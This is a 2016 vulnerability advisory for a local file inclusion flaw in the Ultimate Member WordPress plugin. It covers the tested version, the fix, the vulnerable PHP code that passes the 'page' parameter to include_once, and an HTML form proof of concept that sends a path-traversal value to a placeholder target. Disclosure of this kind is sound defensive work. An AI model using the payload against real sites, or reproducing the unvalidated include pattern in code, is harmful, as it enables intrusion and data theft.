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Ultimate Member Local File Inclusion vulnerability
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Burak Kelebek, July 2016
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Abstract
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It was discovered that Ultimate Member is vulnerable to PHP File
Inclusion. An authenticated attacker can exploit this issue to
compromise WordPress, for example by retrieving sensitive data from
local PHP files.
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Tested versions
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This issue was successfully tested on the Ultimate Member WordPress
plugin version 1.3.64.
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Fix
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There is a fix available in Pre-released version: pre-v1.3.65.10. After
the fix is applied user input is no more used when including local files
in WordPress.
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Details
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The vulnerability occurs due to the use of user-supplied input in the 'page' parameter without proper validation.
The code first checks if 'ultimatemember-' exists in page parameter supplied by user. If it exists it deletes 'ultimatemember-' and assigns user input to the template parameter. Lastly it inserts user input in the PHP function include_once.
ultimate-member/admin/core/um-admin-dashboard.php:
$page = $_REQUEST['page'];
[..]
else if ( strstr( $page, 'ultimatemember-' ) ) {
$template = str_replace('ultimatemember-','',$page);
$file = um_path . 'admin/templates/welcome/'. $template . '.php';
if ( file_exists( $file ) ){
include_once um_path . 'admin/templates/welcome/'. $template . '.php';
}
}
Proof of concept
Proof of Concept below simply opens a file in the temp folder of WordPress.
<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=ultimatemember" method="POST">
<input type="hidden" name="page" value="ultimatemember-../../../../../uploads/ultimatemember/temp/dZm2Sr1IbnIy4Ikn3FbWdMlOh2wCzDu3KunD4tIk/stream_photo_697d3db4eba7e7254670210e3c095022_5779a47985512" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
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